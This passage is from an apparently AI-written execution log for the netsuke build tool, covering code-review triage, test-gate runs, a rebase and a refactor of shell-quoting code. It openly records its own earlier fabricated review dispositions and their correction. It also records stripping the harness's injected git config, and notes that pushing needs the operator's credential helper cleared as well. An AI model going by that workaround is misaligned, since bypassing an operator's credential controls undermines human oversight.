`tests/shell_filter_property_tests/round_trip_through_an_oracle.rs:100-106`, + `RefCell` in a doc comment where the code uses `Cell`* — **fixed.** Valid, + and a real simplification rather than a style note: the closure passed to + `TestRunner::run` is an `Fn`, so nothing can hold a mutable borrow across + calls. `Corpus` is already `Copy`, which is what makes the cell available. + 3. *`tests/std_filter_tests/collection_filters/compact_property.rs:40-43`, + `is_droppable` should gate on `ValueKind::String`* — **fixed, and this is + the finding a prior triage wrongly called a category error.** The earlier + ruling held that the oracle "mirrors prod code without the doc rationale" + and that the generator emits no bytes, so the guard was unnecessary. The + first half is true and is not a defence: `stdlib::collections::is_blank` + gained exactly that guard, so an oracle without it restates the *old* + predicate and would accept a regression to it. The second half was false — + `member()` had no bytes arm, which is *why* the gap was invisible. Both are + closed: the guard matches production, and a `Value::from_bytes(Vec::new())` + arm puts the value in the corpus. **Falsified live:** with the guard removed + and the arm present, the property fails on the minimal input `[b'']` with + "compact must not emit a blank member"; restored, 2/2 pass. + 4. *`src/runner/tests/shell_seam_tests.rs:49-54`, doc describes a template + that + no longer exists* — **fixed.** Valid: two filters and embedded single + quotes, where the constant is one pinned `shell_quote` call. The replacement + states what the constant is and, importantly, what it does *not* prove — + with the dialect pinned the case cannot show the *resolved* interpreter + reaches the filters, and `omitted_dialect_follows_the_loader_shell` is + named as the half that can. + 5. *`tests/stdlib_manifest_query_tests/dialect_probes.rs:124-126`, drop the + claim that a malformed `NETSUKE_WINDOWS_SHELL` is unreachable "either way"* + — **declined; the existing comment was falsified instead.** The finding is + right that the old comment's Windows branch was a guess, but its replacement + explanation is wrong: on Windows `resolve_recipe_shell_with` has no `cfg` + early return, yet `execute_help` returns first (`:153`), so the query never + resolves a shell there either. The hazard the comment is about is + conditional — it describes what *would* happen if the resolution were hoisted + above that return — so a claim that it cannot occur is not something either + branch can settle by reading. The comment now states the mechanism rather + than a reachability verdict, and the note that the divergence is masked was + kept, which is the part the finding asked to preserve. + 6. *`tests/stdlib_manifest_query_tests/dialect_probes.rs:146`: compare the + build's rendered fields with the query's, not just that the build succeeds* + — **declined.** The premise is sound: `assert_full_stdlib_renders` asserts + only that the build renders, so it would be satisfied by two *different* + renderings. But the implementation it asks for does not work as described. + The probe template is a target `description:`, and descriptions are + deliberately **not** emitted for a rule-less target — the code comment says + "rule descriptions remain the sole source of Ninja progress text" + (`src/ir/from_manifest.rs:137-141`) — so a `command:` probe produces no + `description` line to read, and this was confirmed by generating a Ninja + file from the probe manifest and finding none. It *is* reachable by moving + the probe onto a rule, which a generation probe confirmed; and doing so + genuinely closes a gap, because the explicit-dialect agreement between the + two surfaces is currently pinned on the query side only. That is a real + follow-on, not a review fix, and it is recorded in + `Surprises & discoveries` rather than smuggled into a triage commit. + 7. *`tests/stdlib_manifest_query_tests.rs:212-214`, substring assertion* — + **fixed.** Valid. It compared a rendered description with `contains`, which + a duplicated or truncated description would satisfy; it now parses the + catalogue and compares the whole field. Proved live rather than argued: with + the expectation perturbed to a value the old check would have accepted, the + new assertion failed naming both values, where `contains` would have gone + green. + 8. *`docs/stdlib-yaml-and-jinja-guide.md:365`, second person* — **fixed.** + Valid. "a value **you interpolate** somewhere other than as a complete argv + word" became "a value interpolated anywhere other than as a complete argv + word", matching the impersonal sentence before it. + 9. *`docs/rfcs/0006-…md:1417-1422`, "remains the owner and ships first" six + lines above "Delivered by 3.14.8"* — **fixed.** Valid and self-contradictory + within one bullet. The present-tense claims are historical now, with a + closing clause recording that the name and the `dialect` argument were + adopted as proposed. RFCs here never leave `Proposed`, so this amendment is + the only place the sequencing can be stated. + 10. *`locales/cs/messages.ftl:293`, place `{ $kind }` in nominative position* + — + **declined, on evidence from the catalogue itself.** The request is + unfalsifiable as stated — MiniJinja's `ValueKind` labels are fixed and + indeclinable (`"string"`, `"number"`, `"sequence"`), so there is no noun in + the rendered string for a case to attach to, and the label is byte-identical + however the sentence frames it. The checkable reading fares no better: the + only surface the finding can be observed on is the verb, and Czech's + `obdržel` is exactly the form the catalogue's own main-owned precedent uses + — `flatten očekával prvky posloupnosti, ale nalezl { $kind }` (`:342` on + `origin/main`), in which the helper name is the subject and `nalezl` is an + equally masculine-singular past tense. The new line is that sentence's + shape with a different verb. Rewriting it would make this branch's line the + odd one out against a line it did not write. + 11. *`locales/de/messages.ftl:293`, nominative position after `ist`* — + **declined, on the same evidence.** German's main-owned precedent is + `flatten erwartete Sequenzelemente, fand aber { $kind }` (`:342` on + `origin/main`), whose `fand` takes the same clause shape as the new line's + `erhielt`; and the verb is not singular-specific beyond what the helper name + already fixes, since `join` takes the same `erhielt`. + 12. *`docs/execplans/…:2686-2693`: mark the "cannot diverge" conclusion + superseded* — **fixed, and this is the finding that mattered.** See below; + it corrected this plan's own text, twice. + 13. *`docs/execplans/…:2923-2924`, first-person pronouns* — **fixed.** Valid, + and the prevalence the review quoted checks out independently: it said 43 + of 46 execplans use none, and a sweep of the directory for prose-level `I`, + `my`, or `me` — excluding `I/O`, which is what makes a naive pattern + useless here — finds this document plus exactly two others, so 43 of 46 is + the same figure reached from the other side. "This was prose I wrote in + `57d733b4`" is now impersonal. Two occurrences at `:3166` and `:3171` are + kept deliberately: they record whose judgement was exercised during a + gate-provenance mistake, and rewriting them would obscure the attribution + the passage exists to make. + 14. *`docs/execplans/…:9`, `Status: IN PROGRESS`* — **fixed.** Valid, and the + one finding about the plan document itself. The status is `COMPLETE`, and + the retrospective's "To be completed at EP-M5" preamble is in the past + tense. The three reconciliation bullets are kept in place rather than + deleted, each still stating the condition that *would* have blocked the + plan and then its outcome, because a future reader needs the condition to + judge the discharge — a bare tick would not carry it. + 15. *`locales/de/messages.ftl:293` (second filing of 11), use a + label-and-colon + pattern* — **declined.** The stronger form of finding 11, on the same + evidence, and it additionally asks to rewrite + `stdlib.collections.compact.not_sequence`, which this branch does add but + whose `fand aber { $kind }` is the main-owned pattern verbatim. + 16. *`locales/cs/messages.ftl:293` (second filing of 10), introduce the type + label with `je` rather than `obdržel`* — **declined with finding 10**, + which it duplicates; `obdržel`'s subject is the helper name, so `je` would + remove a subject the sentence has. + 17. *`docs/roadmap.md:387`: "one shell word per flag"* — **fixed.** Valid. + Verified against the example at `docs/stdlib-yaml-and-jinja-guide.md:384-385`: + it joins the flags, compacts, joins again, and `shell_quote`s the result + into a single `printf` argument, so the artefact is **one shell-quoted + `RUSTFLAGS` assignment**. The same wrong phrase was in the failure message + of `stdlib_optional_rustflags_example_pins_one_shell_word`, found while + fixing this one, where it would have sent the next reader to debug the + wrong property; both are corrected. The test's *name* is accurate and was + left alone — the output genuinely is one shell word. + + **Finding 12, the query/build divergence — and why two corrections of it + failed.** The review upheld the plan's *original* premise against the plan's + own `Surprises & discoveries` entry, and it was right to. That entry claimed + the two surfaces "agree on every dialect" because both resolve through + `RecipeShell::host_default`. Tracing the build path shows otherwise: + `StdlibConfig::new` seeds `dialect` from `host_default()` + (`src/stdlib/config/mod.rs:109`), but the build **overwrites** that seed — + `src/runner/mod.rs:153` resolves the shell from `NETSUKE_WINDOWS_SHELL` and + `src/manifest/query.rs:142` passes it to `with_recipe_shell` — while the + query surface applies no override at all (`src/stdlib/register.rs:199`). So + on a Windows host with `NETSUKE_WINDOWS_SHELL=bash` the build quotes for `Sh` + and `help targets` for `PowerShell`, from the same expression. + + The instructive part is *how* the false claim was defended. It rested on a + measurement — `netsuke --json help targets` under + `NETSUKE_WINDOWS_SHELL=definitely-not-a-shell` exits 0 and renders + byte-identically to the unset case — which is true, and which is consistent + with **both** readings. It cannot distinguish them, because + `resolve_recipe_shell_with` returns `Posix` before it reads the environment + on a non-Windows host, making the comparison vacuous exactly where it was + run. The measurement was taken as settling a question its own `cfg!` early + return placed out of reach. + + Corrected in four places, and the count is the point. After the first pass, + the plan's `Surprises & discoveries` entry and the `dialect_probes.rs` test + comment were consistent — and this plan's own summary at `:2686` still read + "the divergence this sentence originally claimed is unobservable", because + that pass fixed the plan's *narrative* and left its *summary* asserting the + old claim. Only grepping the plan for the claim itself found it. A correction + is not complete until every site repeating the claim has been visited, and + the sites are not all in the places the finding names. + + **Finding 6, the negative control that could be strengthened but was not.** + The gap it names is real and worth recording, because the shape recurs: a + "negative control" that asserts a *sibling* succeeded is a weaker instrument + than it looks. `assert_full_stdlib_renders` shows the build renders the probe + without error, but not that it renders the *same text*, so a build whose + default dialect differed from the query's would leave the control green. The + fix is to put the probe on a rule — rule descriptions do reach `build.ninja`, + measured by generating one — and compare the six fields. Nothing in the + triage above depends on this, and the divergence it would pin is the masked + Windows-only one, so on this host it would be another instance of the + unreachable-claim problem described in finding 12's note. That is the reason + it is recorded rather than done under a review-fix commit. + + **A process failure worth recording, and a recurrence of it.** The first + version of this triage entry, committed at `c2b3e32e`, described findings + that do not exist: it listed "three findings against execplan prose (dash + spacing, a `shell_escape` mention in a historical quotation, and the + retrospective's length)" and "the remaining six: two duplicates of findings 6 + and 7" by position, without matching those positions to the actual review + output. Every claim about *what was applied* was true — the fixes are real + and are in the tree — but the account of *what was declined* was invented, + and the review caught it independently. The lesson is narrow: a disposition + log is evidence about a specific external artefact, so it must be written + from that artefact's parsed contents, never from a summary of one's own + earlier reasoning. + + **That lesson was then not applied, twice.** The replacement written from the + parsed log still carried the fabricated "dash spacing" item — it survived + into the very entry that condemned inventing it — and it omitted finding 14 + entirely, because the item was written by recalling the old entry's shape + rather than by reading the parsed list to the end. Worse, the same paragraph + then asserted a *narrower fix applied* to the German and Czech lines: an edit + that was never made, invented to make a finding's reasoning feel engaged. + That is the identical error in a new place, and it was caught only by + grepping the files for the changed text and finding them unchanged. + + Three checks, all cheap, would each have caught one of these: confirming the + list covers every numbered finding; grepping the log for each item's own + distinctive words; and grepping the working tree for every edit the entry + claims. A disposition log needs all three, because the failure modes are + independent — an omitted finding leaves no trace in the list, an invented one + has no counterpart in the log, and a claimed-but-absent edit has neither. + + **A fourth failure mode, found while re-verifying this entry: the checks can + be run against the wrong artefact, and still return a number.** The second + check was re-run as a spot audit and grepped + `/tmp/coderabbit-netsuke-3-14-8-jinja-epm2.out` — a review of *this branch* + from eight days earlier that happens to contain exactly **17** findings, the + same count as the review being dispositioned. It reported "17 findings" and + "0 occurrences of the fabricated items" and read as a clean confirmation. It + confirmed nothing — but not because the file was stray. It is the EP-M2 + review pass, **already dispositioned in full** at `Artefacts and notes` entry + 6 under its own, different 17. Its files overlap this block's — this plan, + `tests/stdlib_manifest_query_tests.rs`, `locales/de/messages.ftl`, and + `locales/cs/messages.ftl` — and four of its findings touch ground this block + also covers. Findings 1 and 17 raise item 7's complaint almost word for word + (parse the JSON rather than substring-match) at line 196 instead of 212-214. + Findings 6 and 14 land on the same two locale files as items 10, 11, 15, and + 16, but on a different message key — `manifest.env.default_not_string` at + line 143, where the block cites `stdlib.shell.quote.not_string` at line 293. + Finding 14 repeats item 10's nominative-placement complaint against that + other key; finding 6 is a German terminology complaint the block does not + raise at all. EP-M2 declines the locale group on one ground this block also + gives — the `{ $kind }`-after-participle shape is the pre-existing house + idiom — and adds two it does not: a false-premise objection to finding 14's + "both referenced locations", and the translators-guide policy on untranslated + identifiers for finding 6. That overlap is exactly what made the misread + possible, and it is why the rule must be sharper than "check the filename": + **a log belongs to the review it came from, not to the files it names.** A + check is void against a review whose findings have their own disposition + block, however many of the same files it mentions. + + *(This paragraph's own first draft is the third instance of the same class in + one session: it asserted that the review's files "do not overlap this block's + at all", which is false in four places — it reached that conclusion by + sampling the filenames of the findings it had already decided were beside the + point instead of diffing the two reviews' complete file lists. The correction + is recorded rather than silently folded in, because the wrong version was + committed and pushed, and because the wrong version's *rule* — distrust a log + whose files are unrelated — would have failed to catch this case. See + `Artefacts and notes` entry 6, which reached the same "record the error, the + distinction is the point" conclusion.)* + + The real artefact is `/tmp/coderabbit-702-75e0b671-2937165/`, identified by + its `local-run-meta.txt` (`reviewed_sha=75e0b671`, `exit=0`, `duration=877s`, + `findings=17`) and parsed from its `findings-index.tsv`, one finding per line + as `severity`, file, and text. Re-run against that file, all seventeen items + trace, the 10/7 split covers the list exactly with no overlap, both duplicate + pairs are same-file, and the declined locale items are genuinely untouched — + `locales/` differs from `origin/main` by 490 insertions and **0 deletions**, + with the main-owned precedents the declines cite present verbatim at `de:342` + and `cs:342`. + + A scratch directory holds one review per branch per round, so a filename + match and an agreeing count are both coincidence-prone; the `reviewed_sha` is + the identity. This is the same discipline the gate-run entries above apply to + figures, and its absence here was invisible precisely because the wrong + artefact answered the question that was asked. + +- [x] (2026-09-27) The seven-gate set is green at `77089f0a`, and a fresh + CodeRabbit pass at `67938852` returned one finding, which is **declined** + on a verified premise mismatch. + + The gates: + `SHA_BEFORE == SHA_AFTER == 77089f0a9c0979282e9b7f0008e720a80b3e0c74`, + `DIRTY_BEFORE == DIRTY_AFTER == 0` on all seven, every one `EXIT=0`. The run + was deliberately *not* scoped to the docs-only delta, so `lint`, `typecheck`, + and `test` re-ran on a tree whose Rust surface is unchanged from the + previously gated revision. `make lint` is a four-stage cascade that aborts at + the first failure, so its green means all four stages issued verdicts rather + than that the first one passed. `markdownlint`'s `spelling` prerequisite ran + and passed before `markdownlint-cli2` touched the corpus, which matters + because a red prerequisite means `markdownlint` never ran at all. Per-gate + evidence is in the `.rc.meta` sidecars; the superseded `67938852` logs were + preserved as `.prior-20260927T1202` rather than overwritten. + + **The review.** `coderabbit review --agent` at `67938852`, exit 0, + `review_completed`, 358 s, no rate limiting, **1 finding** — artefact + `/tmp/coderabbit-702-67938852-3513609.54F6/`, identified by + `reviewed_sha=67938852` in its `local-run-meta.txt`. The delta between that + revision and the gated `77089f0a` is two commits touching only this file, so + the finding was not reviewed as part of the green set and is dispositioned + here instead. + + **Finding 1 — `docs/repository-layout.md:127-131`, drop "Ninja rendering" + from the `src/shell_word.rs` dependency list — declined.** The finding has + two premises and they do not stand or fall together, which is exactly the + shape that makes a premise mismatch easy to miss. + + *Its true premise:* one quoter does remain outside `src/shell_word.rs`. + `src/ninja_gen_command_list.rs:387` defines a local `shell_single_quote`, and + `docs/developers-guide.md:810` calls it "the one remaining quoter outside + `src/shell_word.rs`". So the bullet is right to defer those paths to the + developers guide. + + *Its false premise:* that Ninja rendering does not *depend* on the module. It + does. `src/ninja_gen_escape.rs:48` calls + `crate::shell_word::is_recipe_admissible`, and that predicate sits on the + writer's path — `ninja_gen/mod.rs` calls `validate_action_recipe` and + `validate_action_metadata`, and both reach it through + `ninja_gen_validation.rs`. The module doc at `src/shell_word.rs:3-4` states + the same fact: "This is a leaf below IR lowering, Ninja rendering, and the + standard library: all three may depend on it." + + The bullet's claim is about the *module dependency graph*; the reviewer's + evidence is about the *quoting route*. They are different relations over the + same pair of modules, and the bullet's closing sentence already carries the + route caveat the finding asks for. Applying the proposed edit verbatim would + make `docs/repository-layout.md:127-131` contradict `src/shell_word.rs:3-4`. + **Declined, and no edit made.** + + **A note on the first attempt, recorded because the failure mode is this + plan's recurring one.** The review's attempt 1 failed in 9 s with exit 1: + "This PR contains 481 files, which is 181 over the limit of 300". The cause + was a stale `refs/heads/main` in the scratch clone's shared origin — the CLI + diffed against a months-old base and inflated 109 files to 485. This is [[ + netsuke-worktree-base-may-be-stale]] in a new place: a base ref read from a + shared clone is not the base ref the PR has, and the resulting number is + wrong in a way that looks like a size limit rather than a provenance error. + The runner also mid-run reported "7 findings" from its own `jq -r | wc -l` + that pretty-printed one object across seven lines; the true count is 1, + confirmed three ways including the `complete` event's own `findings: 1`. Both + are recorded rather than tidied away, for the same reason as the paragraphs + above: a count that came from a tool's formatting is not a count. + +- [x] (2026-09-27) The seven-gate set is green at `5f793f01`, the revision that + records the run at `77089f0a` and the triage above. + + `SHA_BEFORE == SHA_AFTER == 5f793f017b61e016da4eee001b3b4a203e313c2f` and + `DIRTY_BEFORE == DIRTY_AFTER == 0` on all seven gates, every one `EXIT=0`, + verified from the `.rc.meta` sidecars. `build-test`, `kani-smoke`, + `netsukefile`, and `release / metadata` — the four checks the + `main-required-checks` ruleset names — all completed `success` on the + preceding revision `77089f0a`, and the final push is a docs-only delta from + it. Per-gate evidence is in the canonical `/tmp` triples; the `77089f0a` run + survives as `.prior-20260927T121251`, alongside the earlier + `.prior-20260927T1202` (`67938852`) and `.prior-20260927T114937` (`c7720535`). + + **Every commit that recorded a gate result moved HEAD past the revision it + recorded, forcing the next run.** That happened three times: `c7720535` → + `67938852` → `77089f0a` → `5f793f01`. Each re-run was correct by the plan's + own provenance rule, and each was avoidable in the sense that the rule is + what created the work — a gate run and its own record cannot both be the last + word on a branch unless the record stops moving the tree. The sequence is + left as it is rather than retroactively tidied, because the alternative + readings are worse: reporting a run against a revision the plan does not + name, or naming a revision whose evidence was superseded. + + **`5f793f01` is the last revision gated in the sequence above, and the + recursion is closed by one final run rather than by declaration.** Writing + that entry was itself the fourth commit in the sequence, so the paragraph + named a revision one behind the tree it landed on; the rule admits no way to + avoid that while also recording the run. The resolution is to gate the tip + once more and then make no further commit: that run covers whatever revision + carries this text, so for the first time in this sequence the last gate run + and the branch tip are the same revision. Its evidence is in `/tmp` under the + usual per-gate triples and is deliberately not restated here, because + restating it would move HEAD again and reopen the loop. A reader who finds + the branch tip ahead of this file's most recent SHA citation should read the + CI checks on the tip directly rather than inferring a gap. + +- [x] (2026-09-27) The recursion above is closed: `c286919b` is the last commit, + and the seven-gate run at it is the gate of record. + + `SHA_BEFORE == SHA_AFTER == c286919b249d0a8440031bbeca140088b618aeb1`, + `DIRTY_BEFORE == DIRTY_AFTER == 0`, and `EXIT=0` on all seven gates, read + from the `.rc.meta` sidecars rather than from the runner's prose; no + `.refused` marker exists, which is the runner's own signal that every gate + started on the expected revision. The `5f793f01` run survives as + `.prior-20260927T122631`. + + **This entry is itself a fifth move of the same kind, and the recursion ends + here by declaration rather than by another run.** The paragraph above named + the mechanism clearly and then failed to escape it: writing any entry about a + gate run commits, and committing moves HEAD past the revision the entry + names. There is no formulation of "the last gate run is at the branch tip" + that survives being written down, because the writing is the counter-example. + The honest terminal state is therefore stated rather than proved: **the last + revision verified by all seven gates is `c286919b`**; every commit after it + carries only prose in this file, and its Rust, YAML, Python, and catalogue + content is byte-identical to what the seven gates passed. Anyone who needs + verification for a later tip should read its CI checks directly, which cover + the same four required contexts on every push, instead of expecting a further + local gate run — there will not be one, because it would move HEAD again and + the sequence above shows where that leads. + + **The stale review is not a merge gate, and this plan said so before the + error was made elsewhere.** Nothing in `main-required-checks` (ruleset + `18427981`) requires a review: its rules are `required_status_checks` and + `deletion` only, over four contexts — `build-test`, `kani-smoke`, + `netsukefile`, `release / metadata` — with no `pull_request` rule at all, and + `main` has no classic protection either. The stale `CHANGES_REQUESTED` + (`5328262147`, pinned to `94b9b247`, 73 commits behind and not an ancestor) + still sets `reviewDecision`, and the earlier `BLOCKED` reading was the + *pending* `build-test`, exactly as the entry above records. Once that check + and `Windows / lint-windows` completed, the pull request read + `mergeable: MERGEABLE` / `mergeStateStatus: CLEAN` with zero failures across + all 20 checks on `c286919b`. **A red `reviewDecision` is not the same thing + as a merge block, and reading it as one is the error to avoid here** — it is + resolved by dismissing the review or resuming the app, neither of which is + work this plan owes. + +- [x] (2026-09-27) The seven-gate set is green at `c7720535`, the revision that + carries the corrected disposition log. + + `SHA_BEFORE == SHA_AFTER == c77205358497b68c26235cddcaa06e543d247457` and + `DIRTY_BEFORE == DIRTY_AFTER == 0` on all seven gates, every one `EXIT=0`, + read from the per-gate `.rc.meta` sidecars rather than from the runner's + prose. Durations 2 s to 152 s; nextest + `3578 tests run: 3578 passed, 5 skipped`; both doctest targets reached (88 + passed plus a 2-case compile-fail block for `netsuke`, 39 passed for + `test_support`); `markdownlint` 167 files, 0 errors, with the `spelling` + prerequisite run; `doc-coverage` 98.83% against the 80.00% threshold; `nixie` + "All diagrams validated successfully!". The delta is Markdown-only, so `lint` + and `test` exercised cached artefacts, as the entry above records for the + previous run. + + **A near-miss that would have turned this run red, recorded because the + reflex it names is a general one.** Disposition item 2 opens with a bare `-` + after its list number and carries its path on the following line, so it reads + as a mangled item: that `-` looks like it should be the `*` opening the + emphasis that closes at `Cell*`. The item was numbered 6 at `c2b3e32e` and + renumbered to 2 by `6365240a`, whose edit also lengthened the path with + `:100-106` — so the shape arrived with that renumbering, and a one-line + repair looked obvious. + + It was probed against the gate's own tool before it was committed, and the + probe is the whole point. `mdtablefix --check` **accepts** the committed form: + `1 file left unchanged`. It **rewrites** the proposed form: `--in-place` + breaks the line open after the `*`, leaving that `*` alone on the first line, + and `--check` then rejects the result. The repair would have failed + `check-fmt` on a commit whose entire purpose was cosmetic, and the run above + would have been invalidated to land it. + + The lesson is narrower than "check your work": a formatting-shaped artefact + is evidence about the formatter's *output*, not about its *intent*, and the + only way to tell a defect from a canon is to run the formatter that owns the + file. Reading the shape and reasoning about it produced a confident, wrong + answer; one `mdtablefix --check` produced the right one. This is the third + entry on this branch to turn on the same distinction — the two above concern + `markdownlint` and `mdtablefix` measuring different properties — and the + first where the risk was creating a failure rather than missing one. + +- [x] (2026-09-30) Rebasing the 73-commit series onto `origin/main` at + `6357fda5` moved it to `a14fbf4f`; the four gates then passed. + + `main` advanced from `96b89ca9` to `6357fda5` (13 commits, #812 #814 #818 + #819 #827 #833 #838 #839 and the #756/#760/#765/#766/#768 series). The + exclusive replay boundary is `96b89ca9`: it is the branch's merge-base with + the new target, it appears exactly once on `main`'s first-parent line, and + all 73 commits above it carry this branch's own subjects. No branch work + squash-landed in `main` in the meantime — `git log 96b89ca9..6357fda5` + mentions neither 3.14.8 nor any shipped helper name. + + Three conflicts, all the same additive shape, and all resolved by keeping + **both** sides: + + - `src/observability_recorder.rs` — `main` added the `WHICH_*` imports and + the `WHICH_CACHE_TOTAL | WHICH_RESOLUTION_TOTAL => accepts_which_registration` + dispatch arm; this branch added `DIALECT_*`, `SHELL_QUOTE_DIALECT_TOTAL`, + and its own `exact_labels` arm. Both arms now sit in the match, and the + import block interleaves the two sets into one rustfmt-shaped block. + (Superseded: the dialect arm is now a named predicate — see the CodeScene + entry below.) + - `src/observability_recorder_tests.rs` — `main` registered `which_tests`, + the branch registered `dialect_tests`; both modules now register, and both + module files exist. + - `.codescene/code-health-rules.json` — `main` added the + `src/stdlib/which/telemetry_tests/**` and `tests/kani_scope_wrapper_e2e_tests.rs` + rule sets, the branch added `tests/shell_filter_property_tests/property_support.rs`. + Parsed as JSON: 2 rule sets at the base, 4 on `main`, 3 on the branch, and + **5 after the merge, with zero shared additions and zero removals**. + + The conflicts were resolved by reading the preimage, not by branch label — + which was necessary, because stage 2 held this branch's `dialect_tests` and + stage 3 held `main`'s `which_tests`, the reverse of what "ours/theirs" + suggests. Verification beyond the compiler: the resolved import block counts + 7 lines where the two sides naive-summed to 9, and the whole file's line + arithmetic is exactly `309 + 64 + 11 − 2 = 382`; `WHICH_CACHE_TOTAL` occurs + the same 4 times and `SHELL_QUOTE_DIALECT_TOTAL` the same 3 times as in their + own sides, so nothing was lost or duplicated. + + The rebase audit's strongest available check passed: **101 branch-only files + are byte-identical to their pre-rebase state, 0 perturbed**, and all 101 + target-only files are byte-identical to `main`. Every deletion against the + target in the 8 shared files maps to an intended branch change — the doc + deletions in `developers-guide.md`, `netsuke-design.md` and `users-guide.md` + are the branch's own rewrite of "planned" prose into shipped behaviour, and + the `observability_recorder.rs` deletions are the import reflow, with every + deleted name still present. A repeated-block scan flagged ten files; nine are + branch-only and byte-identical to `OLD_HEAD`, and the tenth is the shared + guide already accounted for. + + The four gates the requester named for this replay all exit 0 on `a14fbf4f`, + each run after the rebase commit at 20:18:30 and logged to + `/tmp/-netsuke-.out`: `make check-fmt` + (`168 files left unchanged`), `make typecheck`, `make lint`, and `make test` + (nextest `3634 tests run: 3634 passed (3 slow), 6 skipped` across 110 + binaries; both doctest targets reached — `88 passed; 0 failed; 26 ignored` + plus a `2 passed; 0 failed` compile-fail block for `netsuke`, and + `39 passed; 0 failed; 6 ignored` for `test_support`). That set is + deliberately *not* the repository's full seven gates: `doc-coverage` and + `nixie` were not re-run after the replay, so the honest claim is + four-of-seven, not a complete gate set. Neither is Markdown-sensitive in a + way this delta could reach, but the distinction is recorded rather than + glossed, because a four-gate claim described as "the gates" is the kind of + overstatement this plan has had to correct before. Separately, + `make markdownlint` (the spelling gate plus `markdownlint-cli2`) was run + post-rebase and exits 0 with `0 error(s)` across 168 files. The environmental + caveat is the next paragraph. + + **`make lint` initially failed for a reason unrelated to this branch**, and + the distinction is worth recording. The `lint-python` stage resolves the + house plugin from + `git+https://github.com/leynos/df12-python-lints.git@v0.3.0` and reported + `Failed to resolve --with requirement` / `Git operation failed`. The chain is + this session's harness: it injects `GIT_CONFIG_*` variables carrying + `url.lody-github::https.insteadof https://github.com/`, which redirect every + GitHub HTTPS URL to a `lody-github` remote helper. `curl` reaches GitHub fine + (HTTP 200) and the pre-rebase lint log shows the identical stage passing at + 12:13, so the regression is the environment, not the merge. Re-running + `make lint` with those `GIT_CONFIG_*` entries unset let the plugin resolve + and the target exit 0, which is the run recorded above — the same stage, the + same content, with the broken redirect removed. The lone remaining output is a + `yamllint` *warning* in `.github/workflows/release-dry-run.yml`, a file this + branch never touched and which is byte-identical to `main`; it arrived with + `6357fda5` (#833) and is the target's to fix. + + **The redirect is the route, not the fault.** Measured later the same day, + the operative failure is the helper's *upstream*: it POSTs to a credential + broker inside the `lody start` daemon, and that daemon was pegged at ~90% CPU + for its entire two-hour life (`TIME 01:49:40` over `ELAPSED 01:59:56`), so + its event loop stopped servicing the broker. Connections were accepted by the + kernel and never handled — `Recv-Q` on the broker's listen socket climbed to + 14 unaccepted connections — and the listener's fd churned, so some connects + were refused outright. Every client budget in the chain is 2-15s, so "slower + than 15s" and "never" are indistinguishable: the helper wraps its fetch in a + bare `catch {}` and reports `Cannot verify GitHub identity preferences` + whatever the transport did. Two consequences worth keeping: the error is a + *transport* failure, not a policy denial or a bad rewrite, and a `git push` + needs both the credential helper cleared **and** the `GIT_CONFIG_*` pairs + stripped, because `insteadof` is applied when git canonicalizes the URL, + before any helper is consulted. `gh` does not use this path and stays + reliable. There is no way to fix this from inside a worktree, and none was + attempted: the daemon is the parent of the agent sessions themselves, so + restarting it is an operator action, not an agent one. + +- [x] (2026-09-30) CodeScene's review of `a7618c30` failed on a biomarker this + branch introduced; fixed in `a3e546ec` by extracting one predicate. + + The check-run for `a7618c30` reported 15 successes, 5 skips and **1 failure**: + `CodeScene Code Health Review (main)`, *Enforce advisory code health rules*, + flagging `ConfigMetricsRecorder.accepts_counter_registration` in + `src/observability_recorder.rs` as `Large Method`, code health + `10.00 → 9.61`. The four *required* checks (`build-test`, `kani-smoke`, + `netsukefile`, `release / metadata`) all passed, so this was never + merge-blocking — but it was a real defect, and it was **ours**, not inherited: + `git log -L` put the function's last authorship on `main` at `b93e01de`, + while `git diff origin/main HEAD` showed this branch adding 13 lines to the + file, among them the seven-line `SHELL_QUOTE_DIALECT_TOTAL` dispatch arm. The + method sat at 70 lines, and the file at a flat 10.00 before the arm was + added; the biomarker fires on the whole method, not the arm, which is why a + small addition crossed a threshold that had held for months. + + The fix moves that arm into a free function named + `accepts_shell_quote_dialect_registration`, mirroring + `accepts_which_registration` — which `main`'s own doc comment says was "split + from the name match above to keep each predicate within the repository's + function-length bound". The body is unchanged; only its location is. The + method drops to 64 lines and the file returns to 10.00. + + **Measured, not assumed.** `cs check` reproduces the gate locally and accepts + a revision selector, so both states were read from the same tool that failed + in CI: + + ```text + cs check a7618c30:./src/observability_recorder.rs + info: Code health score: 9.60 + warn: line 151: Large Method (LoC = 70 lines) + + cs check ./src/observability_recorder.rs + info: Code health score: 10.00 + ``` + + `cargo check --workspace --all-targets --all-features` under `-D warnings` + exits 0 with no new diagnostics. The repository's own gates were **not** run + for this commit: four peer sessions were mid-gate + (`make check-fmt lint typecheck` ×3 and a `make test`) and the standing rule + is sequential gate execution, so the commit was made on the compiler and + CodeScene evidence alone. That gap is stated rather than glossed; the change + is a pure move of an unchanged body, which is what makes the narrower + evidence proportionate. + +- **Group the stdlib counter admission rules** (`f27f73d4`). A review request + asked for the CodeScene Large Method finding in + `accepts_counter_registration` to be refactored, naming `a7618c30` as the + validated baseline. Re-measured before editing: + `cs check a7618c30:./src/observability_recorder.rs` reports 9.60 with + `Large Method (LoC = 70 lines)` at line 151, so the finding was real + **against that baseline** — but `a3e546ec` had already fixed it, and + `cs check` at the then-head returned 10.00. The PR's own CodeScene check + passes. The extraction was implemented anyway, as a further consolidation + rather than a re-fix. + + `accepts_stdlib_counter_registration` now groups the four standard-library + counter arms (`FILE_READ_TOTAL`, `WHICH_CACHE_TOTAL`, + `WHICH_RESOLUTION_TOTAL`, `SHELL_QUOTE_DIALECT_TOTAL`) and the caller carries + one grouped name arm. `ENV_LOOKUP_TOTAL` stays in the parent, because the + manifest module owns that metric. The single-metric + `accepts_shell_quote_dialect_registration` added by `a3e546ec` is removed and + its body inlined: the request's stated call chain permits only `exact_labels` + or `accepts_which_registration` from the group helper, and forbids one helper + per metric, so keeping that predicate would have violated both. Reversing the + earlier extraction is the consequence, and it is recorded here so the two + commits are not read as contradictory. + + Method lengths, measured: `accepts_counter_registration` 70 → 64 → 59 across + `a3e546ec` and this commit, `accepts_stdlib_counter_registration` 20, + `accepts_which_registration` 26. `cs check` returns 10.00. + + An earlier draft of this bullet read "64 → 50". That figure was wrong, and + the way it was wrong is worth keeping: it came from a script that closed the + function at the first subsequent line consisting of four spaces and a closing + brace, which in this file is a `match` arm's brace rather than the + function's, so it truncated the span. The corrected count closes on brace + *depth* and is calibrated against a state CodeScene has already scored — it + reproduces `LoC = 70` at `a7618c30` exactly, which is the only reason to + trust the 59. A line-counting script is an oracle like any other and needs + its own falsification test; mine did not have one until the discrepancy was + chased. + + Every named invariant was checked 